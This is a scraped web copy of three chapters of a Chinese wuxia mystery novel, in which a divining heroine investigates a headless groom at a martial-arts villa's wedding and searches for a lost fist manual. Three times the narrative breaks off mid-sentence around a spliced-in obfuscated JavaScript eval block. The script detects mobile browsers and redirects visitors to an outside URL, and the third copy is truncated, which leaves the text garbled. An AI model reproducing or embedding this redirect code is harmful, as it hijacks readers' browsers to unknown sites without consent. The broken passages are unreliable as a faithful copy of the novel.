这些门派中,鱼戏派算是兰青溪的打手,门下有各类奇人,习的都是不在武林门派中占主流的功法,出手方式玄幻莫测;千机堂主要负责研究各类机关器械,虽然承袭了他们的师傅程之玄所著《千机策》的名字,但实际上与程之玄并无关系,用了这名字只是为了便于招揽白玉堂的旧部;九术帮以顾圣手为首,帮众是一群江湖郎中,虽无名药或名书问世,但他们巡游于大周国各处为百姓治病,为白玉山庄积攒了不少声名;此外,悟心和尚所掌的南少林,也主要听从兰青溪的指挥。 这结构就决定了白玉山庄会像个小朝堂一样难搞,如今站在黄金善面前质疑的便是鱼戏派的于老大。 此人头发半秃,只头顶四周长了一些灰发,所穿的衣服像是几块破布叠加起来,结构却极其的复杂,连黄金善都看不清这衣服到底有几层。 “你是不是有些危言耸听了,纵然婚仪人多事杂,我们白玉山庄这么多人,还能护不住庄主?”千机堂堂主孟若离也在一旁问着,她已为婚仪准备了不少机关,大殿之上,应不会出什么错。 “一应事宜都听善姑娘的,”兰青溪在上座喝着茶,“既是我的婚仪,凡事谨慎不会错,况且到时候来的也不只是江湖人士,与崔郎和他父亲交好的不少贵人届时也会到访,京城贵客讲究风雅,定是不喜这些刀剑的,收了就收了。” 这些天黄金善细细算了很多卦,不论如何看,这血光之灾都是难避,宾客名单她一一看了,怎么也算不出这血光之灾会落到谁人头上。原本她还能望气判断来人是否沾过杀孽,但这武林之中,没几人手上真的干净,她纵有这本事也没什么用。 她既然答应了兰青溪,就肯定要保障她的婚仪无虞,如今也只能从这所有的可能性中一一下手。 屋漏偏逢连夜雨,这两日白五的毒一直压不下来,这山上虽高,倒也不至于寒气逼人,白五也说不清何故毒发,顾圣手帮忙瞧了,也瞧不出什么名堂来。 原来的白玉堂,到底于白玉春来说是心事一桩,毒发也许是牵挂太多。思及故人,总是心寒。 对于黄金善喂血救白玉春一事,兰青溪很是震惊。 “他于你来说这么重要?”捡着闲时,兰青溪便打趣她。 “使命所在,没有办法。”他对自己重不重要,黄金善其实没细想过,但至少他的命还是挺重要的,“他对你来说难道不重要吗?” 他们相识于年少时光,相伴这么多年,兰青溪对白玉春如今的现状,竟真没有半点伤怀。 “以前是挺重要的吧,因为他很强,我也想过要追随他。”当年的白玉春,是这江湖排名第一的传奇,即使做这故事中的配角,也够留名于青史了,兰青溪当时觉得这样也不错。 “后来呢,就觉得这人意气太盛,定力不足,心太软,手段却不够硬。”白玉堂出事前的那段时间,兰青溪与白玉春有诸多意见不合,吵得不可开交,“他是不是一直觉得大师傅的死我有很大的责任?但他应该心里知道吧,造成师傅们出事的,最主要的祸端,是他白玉春。” 白玉堂成立后,在这江湖上树敌实在太多太多。秦王盟血洗白玉堂不过是个幌子,真正跑来白玉堂作乱的,是以碎石帮为首的一众被白玉堂打压过的江湖门派。借着杀神嬴政挑战白玉春的档口,混入秦王盟中,意图向白玉堂复仇。 要知道,打断经脉废其武功看似霸道,恢复之法其实不少,对江湖上的一些大户来说,不过是时间问题。 白玉春当时废了碎石帮78人武功,他们还不是卷土重来了。治理这武林,还是需要软硬兼施。兰青溪的仇,她自己会报。 所以,她已让这78人尽数死于碎石之下。死无葬身之地,才是适合她兰青溪仇人的结局。 “《江湖武律》所述那些道理是没错的,只是操之过急。”她还是敬重他的,但就如白五看待她一样,论及几位师傅的死,她也无法不责怪白玉春,对于白玉堂以前所行之事,她复盘了一遍又一遍,所幸,事实证明,这武林掌权人,她兰青溪能做的比白玉春更好。 兰青溪说完这段往事,黄金善便一直在想着。 已是夜深,明日便是白玉山庄庄主成婚的吉日了,一切事宜都已准备妥善,刚刚兰青溪去厢房见了崔知闲,现也需要回去早些休息了。 如今的白玉山庄处处都是红白相称,楼与楼之间都挂着云锦纹的红绸,山风吹着,似是飘在空中的祥云,廊上一路点缀着牡丹与金桔,五步一奇花,十步一奇石,这两日走在山庄中,宛如仙境。 山庄的灯一盏一盏地熄了,花草树木都睡了,等待着明日的焕发。 兰青溪是个心硬之人,黄金善自始至终都知道。 当年在此的白玉堂,不过一个破山庄,家具多是白玉春和师傅们捡着碎石和木头,自己打的。 如今在兰青溪治下,白玉山庄已经不能说像是皇宫,简直像是天宫了。 黄金善从小是金尊玉贵地长大,连在皇宫里都没什么奇珍异宝是她碰不得的。 可能是拥有的太多,功名利禄,她看得很淡。 她理解兰青溪的观点和野心。 白玉春纵然有了举世的武功,却护不住身边的人。没有配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314231|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得上功夫的心思和手腕,兰青溪看不上他。 她是一名女侠、一名政客,但黄金善不是。 她黄金善从小就觉得,守财守权都没什么难的,难的是守心。 打碎浑身筋骨,还守着一颗心,更难。 爬上山峰,然后跌落。拥有一切,然后众叛亲离。 命欲其死而不死,天欲其灭而不灭。历尽劫难而守心,是为证道。 这条路她原以为会很寂寞的,但她遇见了他。 抛了这颗心,他们本都可以走到权利之巅。 但他们都守着这颗心,风光如是,落魄亦如是。 * 天一亮便有乐声入耳。兰庄主的婚仪开始了。 这人情还的还是有点累的。 黄金善打着哈欠,先去白五房里给他喂了药,反复叮嘱他别随意出门。 血光之灾算不出来,她很担心是在白五身上,蒋若木也被她要求专门保护白五。 随后她去了前院,看着来来往往的宾客,观他们周身气质,个个都是血色逼人。 这江湖还真是不太平。 宾客到的差不多了,崔知闲的兄长崔知行牵着他走了进来。 因是入赘,兰庄主让新郎披着红盖头入门。照她的话说,女子披得,男子有什么披不得的。黄金善倒是很理解,让崔知闲顶着那张脸进来,恐怕比披着红盖头还遭人闲话。这江湖不比京城,怪人多,也没什么规矩,喜貌美男子的人不少,如此也算是为了保护崔知闲。 崔侍郎嫌丢人,直接没来这婚仪,崔家的事务都由长兄崔知行代劳。 新郎跨过马鞍和火盆,兰青溪拿起牵巾的另一端。长廊上,侍女朝两人撒了红枣花生桂圆莲子,两人走进正厅,拜了天地高堂,夫妻对拜后,这礼便成了。 新郎进了洞房,兰青溪开始招待起宾客,正厅霎时热闹非凡。 一切都看上去挺平稳的。 夜深了,宾客也散了。 婚仪时黄金善就一直站在最角落里,她并不想过多的与那些宾客打照面,早些时候就回到白五这了。 他睡着,她就在一旁陪着他。 她知道,这血光之灾没这么容易过的,至少得熬过今天再说。 至少宾客都无虞,前厅应该出不了什么大事,那她最担心的就是白五了。 闭上眼,她开始回忆今日所见宾客。 好像有些不对。 正想着,白五醒了,强撑着起了身。 “这地方不对,”他深深地喘着气,胸前起伏剧烈,好像如此才能勉强呼吸,“不论如何,我不该病得这样重的。” 他才说罢,正院传来尖叫声。 * 回到寝居时,兰青溪满是欣喜与期待。 历尽千帆,她本以为黄金善说的那些灾祸都过去了。 直到她掀起红盖头后,看到木桩支撑的红盖头下,是新郎血淋淋的颈脖。 笼罩在白玉山庄的一片喜色瞬间变成了一片血色。 15. 齐聚白玉山庄 序 给自己取名叫嬴政,给自己的帮派取名叫秦王盟。 风水大忌他犯了个遍。 他倒要看看,是天命硬,还是他的刀硬。 ——齐聚白玉山庄—— 已过子时,白玉山庄归还了诸位宾客的刀剑。 黄金善三人赶到时,兰青溪正被崔知行的护卫用刀押着。 “我弟弟死在你房里,兰庄主应当要给崔家一个解释吧。” 兰青溪只是低着头不说话。 被刀架着,眼角的泪就这么直直落在地上。 她知道崔家这些人要的是什么。崔知闲的命他们从未在意过,无非是想自己再割几家商号罢了。 为了崔知闲,她已将自己名下半数田财给了崔家,算是聘礼。 崔侍郎本欲将崔知闲送给有龙阳之癖的端王,她用尽全力从中周旋,才勉强护住了他。 她以为,她已经带他逃离那魔窟了。 没曾想竟又让他送了命。 给崔家解释简单,谁又来给她一个解释呢? 黄金善进门后,没管这些吵吵嚷嚷的人,径直走向了穿着婚服的尸体。 她刚伸手想摸那断颈,崔知行便拔剑指向她,“你是什么人,敢动我弟弟?” 蒋若木用剑柄一打崔知行的手,他的剑便飞了出去。 “认得这剑吗?”蒋若木斜眼看着崔知行,这崔家人没什么好货,如今竟还敢拿剑对着黄金善,“哦,忘了,你这种小官家的孩子,怕是没机会见这御赐的江山月吧。” “竟是蒋公子,下官失敬。”崔知行马上拱手鞠躬,刚刚在正厅并未看见蒋若木,不想白玉山庄还住着这等贵客。 “滚出去。”黄金善必须好好琢磨一下这尸体,没空管崔家那些破事,她见那人没动,便又抬眼看崔知行,“崔知行,我让你带着你的侍卫滚出去,没听到吗?” “你是明宸郡主?”他曾在宫宴上远远见过她,明宸郡主竟没死吗,他自三年前相府大火后便再没听说过她了,她怎会没死? 黄相虽不在了,但陛下未对黄家下任何旨意,如今她既活着,还是需要尊称一声明宸郡主。 “怎么,你要跪下行大礼吗?”黄金善眼神已带怒色,瞥一眼崔知行,他立刻向下跪。 蒋若木没让他跪下,他屈膝瞬间,蒋若木用剑抵住他膝盖向外一弹,他立刻跌跌撞撞地向外走去。 “郡主让你滚,没让你跪。” 这穿着婚服的尸体已头身分离,颈脖处的刀口平整,婚服上没什么血迹。是砍下头后再穿的婚服。颈脖处的血迹已不外流,但却还未干涸,这头应该不是刚刚砍下的,但时间也不长,估摸着就是在今日。 崔知行的侍卫走后,兰青溪勉强再走到尸体身旁。 “兰庄主,振作一点。”黄金善扶住兰青溪的手臂,“这尸体没有头,你如何知道是崔五郎的?” 听到此话,兰青溪才突然提起了神。把院内所有侍女侍卫都叫了过来。 翻找一番后,确实未发现这头。 根据侍女所说,昨天兰青溪见过崔知闲后,夜里未发现什么异常。 因崔知闲是男子,他不喜侍女贴身伺候,早上侍女来接他时,他已梳洗完毕,穿好了婚服,戴着红盖头,言行举止皆如常。 而从新郎回到婚房后,到兰青溪发现新郎出事前,房内更是没有人进出过。 “如今只能脱了这婚服来看了,兰庄主可知崔知闲身上有什么印记?” 黄金善在院内角落里起卦,蒋若木替她指挥着众人查找。 “我未曾与他有过什么亲密接触,”相识以来,兰青溪和崔知闲一直是发乎情止于礼,“纵使他身上有什么印记,我也未必知晓。” 今晚诸事对兰青溪的打击实在太大,如今她的理智恐是难以继续支撑了。 “我们来验验尸体,你先休息吧。”白五扶住兰青溪,示意侍女带她下去。 “山庄的所有刀剑都收起来了,尸体怎会有如此平整的切口?”蒋若木问道,二人探查了尸体,这尸身没有打斗痕迹,没有伤痕,也没有什么印记,唯一的突破点恐怕就是这切口了。 “细线。”白五思考着,“如果没有任何刀具,内力足够的情况下,细线也能割出如此刀口。” “这……这得功法极深吧。”这可是人头,不是糯米糕,蒋若木疑心真能有人割出这般刀口吗。 “是很难,但鱼戏派不就擅长这些东西吗。”鱼戏派的于老大,便有这拿手绝技,千丝戏鱼。 二人正欲唤人去抓那于老大,窗外突然传来一声巨响,是树倾倒的声音。 他们立刻跑了出去,黄金善正站在那倾倒的树侧。 眼见刚起的卦又被压了一半。 砍断这树的是空中飞来的一把大刀,朝这方向望去,一人站在高处屋檐之上。 黑色披风迎风起伏好似远方山脉,长发高束,眼前碎发未能挡住他那横在右脸上的刀疤。 杀神嬴政,这山头,是他第二次来。 众人听闻此处的动静,都聚了过来。 九年过去,白玉春与嬴政的传说,仿佛已随时间消散了。 纵曾在这武林之巅,如今的满堂宾客,也只有他们认识彼此。 “你是什么时候来的。”唯有对这昔日宿敌,白五看不真切,却能清晰想象到他的模样。 “来了有几日了,我就住这山上。”嬴政就这样在空中信步走到白玉春面前。这世间万物,他能视之若无物,又能踏之若有物。 “我是来找人的,”嬴盟主俯视一圈众人,在断树桩上取下了他的刀,“这武打天下的文公子,在白玉山庄。” “我要与之一战。” “那也就是说你是今天唯一拿着刀的人了。” 蒋若木刚说罢,兰青溪便指挥门人,欲拿下嬴政。 “等等青溪,”白五伸手拦住他们,“白玉山庄的人不是他的对手。” “那难道就让他这样走吗?”兰青溪双眼猩红,理智已压不住她心头涌上的情绪。 “从杀人工具上来看,他和于老大都有嫌疑。”白五手搭在兰青溪肩上,捏住她的肩,他希望她能冷静下来,“但我能为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319943|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬴政作保,他若是要杀人,犯不着做出如此复杂的局。” “你为一个和你有血海深仇的敌人作保,”兰青溪甩开白五搭在自己肩上的手,“你怎么一如既往得这么软弱又可笑啊,你不怀疑这个曾经要杀了你的人,反而怀疑与我一手建起白玉山庄的鱼戏派吗?” “行了,不必废话这么多,把这黑衣人和于老大都拿下!”崔知行下了令,穿着黑甲的护卫立刻包围住了众人。 刚欲上前靠近嬴政,他大刀一挥,仅是凭着风力,便隔空将那些护卫甩出去老远。 “我不与无用之人打斗,若不告诉我文公子在何处,我便走了。” 此话激怒了崔知行,他剑刚出鞘,身后黄金善的声音就传了过来。 “不错,人都在。”黄金善从院子角落里走了过来,刚刚起的阵虽然又不是很成功,但突破口已经找到了。 “不知道死的是谁就开始急着抓凶手,可是有什么原因吗,崔知行?” 黄金善的疑问里带着三分玩味,那俾睨的眼神看着他,让他不由得为之一颤。 “我要为我弟弟报仇,有什么不对的吗?” “没什么不对的,我且问你,你另外一个弟弟崔知文呢?” “崔知文,你的胞弟,明明也在宾客的名单上,我今日却从未见过他。”黄金善紧盯着崔知行,一句又一句地吐着,不给他半点思量的时间,“你就不担心死的其实是自己另外一个弟弟吗?” “不可能!”崔知行立刻喊到。 “哦?你这么确定?”众人皆看见了崔知行脸上的神情,黄金善见其中似是有深意。 崔知行立刻意识到自己失态了,不知黄金善到底看出了多少,“知文因家中有事,没有来这白玉山庄参加婚仪。” “恐怕不是如此吧。”嬴政此时的反驳吸引了所有人的目光,“我亲眼所见,他进了白玉山庄。” “你莫胡说!” 崔知行的反驳很快就被黄金善打断了,“嬴盟主不会看错的,”一切与她算的没差,看来这崔家秘密不少,“因为崔知文就是嬴盟主要找的,武打天下的文公子。” 听到这话,崔知行面色僵硬。 “你们说,这崔知文,他进了白玉山庄,就再没出去过,也没有人看见过他,他会去哪呢?” 黄金善的话还没说完,崔知行又冲进去看那尸体了。 果不其然,有些东西就算卜卦算不出来,也会有人上赶着要告诉她。 不多时,崔知行气势汹汹地又走了出来,“你诈我!” “不错,”黄金善笑着看她,“我如今不仅知道你弟弟崔知文来了这白玉山庄、知道他就是文公子,还知道,他和发生在兰庄主房中的这起命案脱不了干系。” 眼见形势清晰了,兰青溪抬手,便有门人上前,控制住崔知行一行人。 揭开崔知行掖住狐狸尾巴的衣角,如今也该探探这白玉山庄的秘密了。 在这江湖众人齐聚白玉山庄的时刻,上演一出无头新郎案。 她黄金善通鬼神之道,还从来没人敢在她面前装神弄鬼。 16. 凌云九式 序 他恨她无情,她恨他心软。 执掌江湖,焉能手段不硬?惩奸除恶,焉能心无怜悯? ——凌云九式—— 被兰青溪甩了一下就咳个不止的老好人白五,现下半躺在床榻上,黄金善和蒋若木两人就坐在他床头。 兰庄主控制住崔知行后,就客气地把所有人请回了屋,这是准备把来宾都拘起来,自己亲自查了。 “善儿姐,你刚刚卜卦可有算出什么吗?” 兰青溪着人将三人安顿在屋内,送来各式水果点心。 “此事没有那么简单,不知道死的人是谁,很多地方都算不真切。”黄金善开始吃起送来的桃子,“但我能肯定,死的人不是崔知闲,他此刻命里有个大劫,但他还活着。” 黄金善还在卖力地吃着桃子,她给蜜饯找的替换品是桃核,但白玉山庄为婚宴准备的桃子各个汁多饱满,她并不喜食物的汁水沾到衣物上,才吃两口,就开始用帕子擦着手。 “你这要三个桃核得吃到什么时候去,”白五坐起身来,也拿过一个桃子,“拖累你这么久,我也得替你分担一下。” 蒋若木这才意识到黄金善为什么突然开始吃桃子,赶忙拿起第三个桃子,却马上被黄金善按住了手。 “这桃子我等下要用的,你啃过多脏!” 被区别对待的蒋若木倒也不恼,反而还在偷笑,笑着就拿起桃子往嘴里塞,“你放心吧善儿姐,我等下帮你把桃核都洗干净。” “那崔知闲既然没死,现在人在哪呢?”还是蒋若木手脚最快,吃好桃子的他又问了起来。 “我刚算出来的事儿都给兰庄主说了,她现下就想把宾客都看住,先排查山庄内部。”今日庄主大婚,白玉山庄的守卫非常严密,人是怎么消失的,尸体是怎么出现的,问题一定出现在山庄内部。 白玉山庄每个出入口都有门人看守,不管死或没死,崔知闲都应该还在白玉山庄之内。 崔知闲还活着,算是一件幸事,如今还知道有崔知文这一号人物,但死的是谁、何人所杀却还是毫无头绪。 蒋若木拿着洗干净的桃核回来后,黄金善就开始端详起这桃核的纹路。 对,他们还有一个突破口。 “白五,《凌云九式》你找到了吗?” 白五摇头,蒋若木便接话道,“我这几天都把白玉山庄翻了个遍了,善儿姐你确定《凌云九式》真的在白玉山庄吗?” “我确定,此事我绝不可能算错。”黄金善将几个桃核收回了手心,“如今看来,此案与《凌云九式》还有些关联。” “这事能和《凌云九式》有什么关系?”自从开始学习枯木逢春后,蒋若木的武功进步极大,这几日确实已经探过白玉山庄的角角落落了。 “这平日都待在京城的崔知文,是怎么突然有了个武打天下文公子的身份的呢?” 黄金善这么一问,蒋若木发现此事细想确实有些端倪。 武打天下文公子刚在江湖上闻名没多久。 崔侍郎就职于兵部,前段时间让他的大儿子崔知行去周边城郊抓捕一群土匪,谁料那群土匪私下修行江湖秘术,崔知行带去的百余位亲卫力不能敌。 危难时,就是这位文公子,救了崔家众人。相传,他并未持剑,而是靠一套特殊的拳法,一人之力力挽狂澜。 思及此,文公子的身世也明了了,要说谁能恰巧在崔知行需要时赶过去,恐怕也只有这位嫡亲弟弟了。 “是……凌云九式?”蒋若木颇为震惊,他们集三人之力都还未找到的武功秘籍,竟被京城一个小少爷找到了,“可是这凌云九式不是女子拳法吗?” “凌云师傅死前,应对秘籍进行了完善。”三人正讨论着,兰青溪推开房门走了进来,“那时你天天跑在外面匡扶正义,这些事情肯定都不知道吧。” 白五低头喝着茶,并未回应。白玉堂出事前,他确实疏于对堂内诸事的照料,兰青溪怨他,很合理。 “我不知你为何要找《凌云九式》,但此秘籍,凌云师傅身前承诺过是留给我的。” “留给你的?”白五放下茶杯,抬眸看着兰青溪,“留给你的,你如今却不知道在何处吗?” 兰青溪显然不满于白五的质问,但也懒得和他辩驳。 兰青溪从小就最是仰慕苏凌云,也最依赖这位凌云师傅。在白玉春眼里,是她兰青溪害死了慕声,但在兰青溪眼里,也同样是白玉春害死的苏凌云。 他恨她无情,她恨他心软。 可执掌江湖,焉能手段不硬?惩奸除恶,焉能心无怜悯呢? 昔日同门挚友,便是如此分道扬镳的。是无奈之举,他们都知道,但谁也没法迈过心里那个坎了。 兰青溪进来时还带着三五门人搜查,白五住的房间很小,没多时便都搜完了。 “明宸郡主、蒋公子,两位的房间我们也需搜查一遍,见谅。”兰青溪并没有透露更多案件细节,搜完房间后便准备离开。 “兰庄主,白五的房间,似乎是比我和若木的房间都小啊。”黄金善早些便注意到了,但考虑到他们的关系和如今外人眼中的身份,这么安排倒也挺合理的。 “诸位宾客住的厢房,是原先程之玄与苏凌云两位师傅的住处,”兰青溪解释道,“他自是不配住师傅们以前住过的地方的,明宸郡主您住的屋子便是凌云师傅原先的卧房,这间,是之玄师傅的书房改造的。” 难怪,黄金善这几日总觉得住所阳气十足,休息得也好,原是苏凌云先前住的地方。那白五所在的这间房,恐怕也另有玄机呀。 “几位宾客早些休息,我们今晚还会继续在庄内搜查。”兰青溪向黄金善拜别,“既然崔郎还没死,如今这白玉山庄的家务事,也不好再劳烦外人了。明日我们若有需要,再着人来请明宸郡主。” 兰青溪出去后,没多久其他房间也都搜完了,吵嚷声又恢复了平静。 黄金善手里还握着三颗桃核。 “白五你今晚去住我的房间。”黄金善把白五扶起来,推着他往外走。 “你觉得房间有问题?”白五还想追问,但他和蒋若木已被黄金善推出了房门。 “有没有问题住了才知道,”两人前脚刚出房间,黄金善便把房门一关,“我要休息了。” 今日已经非常疲惫了,黄金善不能这样长时间地消耗能量,她准备先睡了再说。 可惜她并没能休息多久,刚到寅时,黄金善便觉寒气入体,不自觉醒了过来。 屋内气温的下降非常明显,白五恐怕也是受此影响才总是病得起不了身,他身中土中碧,对温度的感觉并没有那么敏感,但黄金善出门感受了一下房外的温度,房屋内外温度确实差异显著。 关上门,她闭眼感受空气的流动。 这屋内有机关。就在床旁,有风声呼出。 黄金善就这么在房内敲敲打打四处翻找了一个晚上,直到房外已响起鸡鸣、直到窗户缝里透进了晨光、直到信鸽送来了信、直到白玉山庄的侍女敲响了房门。 她还是一无所获。 “明宸郡主可是住在此屋?兰庄主着我请您过去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325688|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看来兰青溪在山庄内的搜查也不是很顺利了。黄金善如今可以确认,此屋内有机关连着另外一个空间,但门却不是从这里打开的。 这白玉山庄,看来兰青溪不知道的东西也不少。 兰青溪见到黄金善时,只见她满脸疲惫,看到软垫便不管不顾地坐下来了。 “兰庄主昨天是不是没找到什么,”撇去一切寒暄,黄金善直接开口问道,“若是的话,我有两事需问问庄主,也是推进此事的两个口子。” “第一,我从入这庄内,就从未见过传说中的《江湖武律》,相传它刻在石上,此物现在在哪里?第二,崔知文此前可有来过白玉山庄,若有,当时可有人同行?”黄金善一口气问完,便把手架在桌上撑着头,眼睛闭上好似休憩了。 “这第二点,昨日听见你们在谈论此事,我便着人去查了,”黄金善虽闭着眼,兰青溪还是给她沏了茶,随后又自己一边喝茶一边说着,“我们去问了县衙才知道,他几个月前来过此山,但未进白玉山庄,当时他们是奉工部和兵部之命来看冶城的新兵器的,同行的还有工部尚书之子韩汶。” “既是来过此山,为何庄主之前不知道?”黄金善睁开眼,喝起了面前的茶,“他们要借此道通行,难道不需要事先向你们报备吗?” “郡主有所不知,白玉山庄虽盘踞在此处,此山却不是属于我们的,当年白玉堂大败之后,定国公便觉得此处矿产奇异,将这山买下来了,如今这里的地都是属于蒋府的。” 那他们的行踪岂不是没几日就要被蒋府的人知道了…… 还来不及焦虑此事,黄金善突然想起先前和白五胡诌的三件事,如今这一件,已经应验了。 “郡主可是觉得,崔知文在那时找到了《凌云九式》?”兰青溪把话题扯了回来,她如今迫切地想要先找到崔知闲,“若是有我不知道的地方能藏《凌云九式》,岂不是也有可能如今藏着崔郎?” 这头的黄金善却还在回想着兰青溪刚刚说的话,“韩汶?给我讲讲这个人。” “韩汶是陛下给惟德公主选的驸马,是韩家的长子,原本和崔家交情不错,不过因在京城备婚,并未来白玉山庄参加婚仪。” 他这婚是备不成的,京城各家的小少爷,黄金善没那么熟,但惟德公主可是和她从小一起长大的表妹,她早就给她算过,惟德公主的命很奇特,她姻缘晚成,且若非正缘,谁要想娶她,她能一路把人克死。 如今陛下膝下不过一子一女,均是皇后所出,这两年皇后的身子一直不太好,小太子年幼,陛下就将弟弟的读书起居都交给了惟德,因而惟德公主在朝堂上颇有威望。 从黄金善算出来的迹象来看,韩汶,应该已经死了。但是不是兰青溪房里的那具尸体,她还没法确认。 “如今便是要找到这能藏东西的地方。”黄金善站起了身,“我要看看《江湖武律》,请庄主带路吧。” 听闻此话,兰青溪却是笑了,“明宸郡主这样可能是看不到《江湖武律》,我这就请素月来帮忙。” 叫下人去请了帮手后,兰青溪看黄金善还是一头雾水,便解释道,“这《江湖武律》刻在一块石头上,当时白玉堂没什么像样的东西,石头也选得随便。重新修缮白玉山庄以后,我觉得这石头有点丑,坏了白玉山庄入目的景色,便把它扔到上面去了。” 兰青溪用手指了指头顶,“它如今在九层塔屋顶上。” 白玉春留下的那些东西,她眼不见为净。 不过这《江湖武律》确实是好东西,放在那儿,也算是彰显它的地位。 17. 江湖武律 序 如果当时没有那种种的误会和埋怨,如今的一切就不会发生吗? ——江湖武律—— 武林之人,不得凭武力违律法 谋生不得以武欺人 比武不得嗜血杀人 门派不得寻仇斗殴 不论武力高低,共守太平盛世 刻在石头上的字刚劲有力,气韵生动,浑然天成。 “你那时的字真不错。”黄金善摸着石碑上的字,转头看向白五。 几人如今就站在九层塔的塔顶,此地可谓冶城的最高处,回头便可看见冶城全景,甚至能看到不少远方城池。 白五也是震撼于自己的《江湖武律》居然在这么高的地方,如今没有点本事,怕是还看不到这《江湖武律》原迹了。 “这其实不是我的字,我只是在石头上刻了这些话,后面是之玄师傅雕成这字体的。”之玄师傅祖上也是从仕的,琴棋书画,在几人之间她均是最擅长的。 “这是什么时候雕成的?”黄金善细细地摸着碑上的每个字,追问他们。 “白玉堂成立时写的这石头,一开始这上面是只有我用竹子写的那些话的。”后面具体是何时程之玄修缮了这些话,白五其实拿不太准,白玉堂成立后,他就四处奔波,回来的时间极少。 “是大战前两个月,”兰青溪此时补充道,“那时之玄师傅嫌之前的字不够清晰,便在那基础上雕了这些。” 兰青溪心里火气又上来了,这些事,明明都和白玉春说过,他却什么都不记得了,几位师傅,若非后面出事了,他一年到头也关心不了几次。 “这上面有暗号,你们当时都没发现吗?”黄金善扶着石头站直了,回头看白五和兰青溪,这地方高,她行动的时候要靠廖素月时时扶着。 “《千机策》第八章所述机关暗号,通过这五个‘不’字,暗示了一个方位,”黄金善没管那两人吃惊的表情,只管自己继续说着,“中间三个‘不’字定位,头尾两个‘不’字相连是为所示方向,这是正南。” 这个暗号其实太过简单直接了,有时反而让人注意不到,她也是看到这石碑雕刻时,着重在几个“不”字上用了力,才联想到《千机策》中的这一章。 如此简单。 程之玄设置此暗号的时候,恐怕不会想到,九年过去,白玉春和兰青溪竟都没有发现。 所以其实人最害怕的,是被仇恨所困。 程之玄是教两人机关的师傅,白玉春十岁便掌握轻功拳法,十二岁剑术已成,十五岁时,几位师傅就都不是他的对手了。 人有了绝世的武功之后,学习机关暗号,就没什么意思了。 十二岁时程之玄接手开始教白玉春机关,白玉春总是想尽一切办法逃课,那时的他觉得,凭着武功,仗义江湖才是正事,机关嘛,略知一二即可,毕竟不管明里暗里,没人打得过他。 徒弟这么不听话,程之玄怎能不恼,奈何之玄师傅也是个心软的,好不容易逮着白玉春一回,刚想教训,这小家伙居然用内力催开了山南全部的花,说是给自己送的生辰礼物。 兰青溪当时就在一旁叫喊着不服,白玉春竟这么简单就将自己准备了好久的生辰礼物比下去了。 听着两个孩子叽叽喳喳的,程之玄当时想,如此也好。 五位师傅,会一辈子护着他们。 听黄金善这么说之后,兰青溪也能识出这暗号。 但这些年,她总是回避看这块石头。 一块石头,承载了他们的过去,承载了师傅们的冤魂,却也承载了师傅们留下的期待。 “这石头原先是在哪里的?”黄金善打破了沉默。 “就在这九层塔下,如果是正南方向,”兰青溪回过头看去,指向山庄的中央,“那就是亭前的莲花池,我这就叫千机堂的人去看。” 黄金善手扶住廖素月,示意她带自己下去,她面色惨白,昨夜没休息好,今早又如此奔波,此地高,她总觉得有些呼吸不畅,“你们去看看吧,我有些不适。” 话还没说完,她便向廖素月身上倒去,廖素月到底还是小孩子,一时没接住黄金善,两人看着就要向后倒,白五立刻拉住两人,扶稳廖素月后,将晕倒的黄金善搂在怀里。 白五送黄金善回住处,正碰上蒋若木也回来了。 “善儿姐猜的不错,我刚刚靠蒋府的路子问了,韩汶确实失踪了。” 看着侍女带着医师给黄金善施针,向医师确认了黄金善并无大碍后,两人便也向荷花池去了。 “我还打听到一事,”在路上,蒋若木想到此事,“我听说,惟德公主,挺喜欢崔知闲的。” “你觉得死的那个人是韩汶吗?可是他都失踪好几日了,那尸体上的头确是昨日才砍下的。”蒋若木一边走路一边不停念叨着,“还有凶器也找不到,再说这于老大和嬴政,和韩汶都没什么关系吧,两人又是怎么把尸体搞进房间里的呢?” “你仔细想想那天晚上的情景,”白五走得很快,这几日的事件也在他脑内快速地飘过,“那天晚上,黄金善暗示了崔知行之后,他为什么要冲进房间里查看?” “他怕死的人是崔知文?” “崔知文若习了凌云拳,以一人之力能打那么多土匪,崔知行为什么担心自己弟弟会死呢?” “那就说明,他至少参与了一场搏斗,且面对的是和他实力相当的敌人。” “——韩汶,他也习了凌云拳。”两人异口同声地说道。此事虽没有明确的证据,但只要能找到崔知闲,一切也就基本明了了。 这婚仪上多是江湖人士,文公子出名没多久,也没什么人真的见过京城里的小少爷崔知文,就算是混迹进来,也没人发现得了。京城距此处有两日左右的路程,若不是他们和嬴政突然出现,在这里杀了韩汶,可谓天衣无缝。 两人走到荷花池时,兰青溪刚命人将池水放干,千机堂的人纷纷下池检查。 白五翻身下了池子,蒋若木也立刻跟了下去。 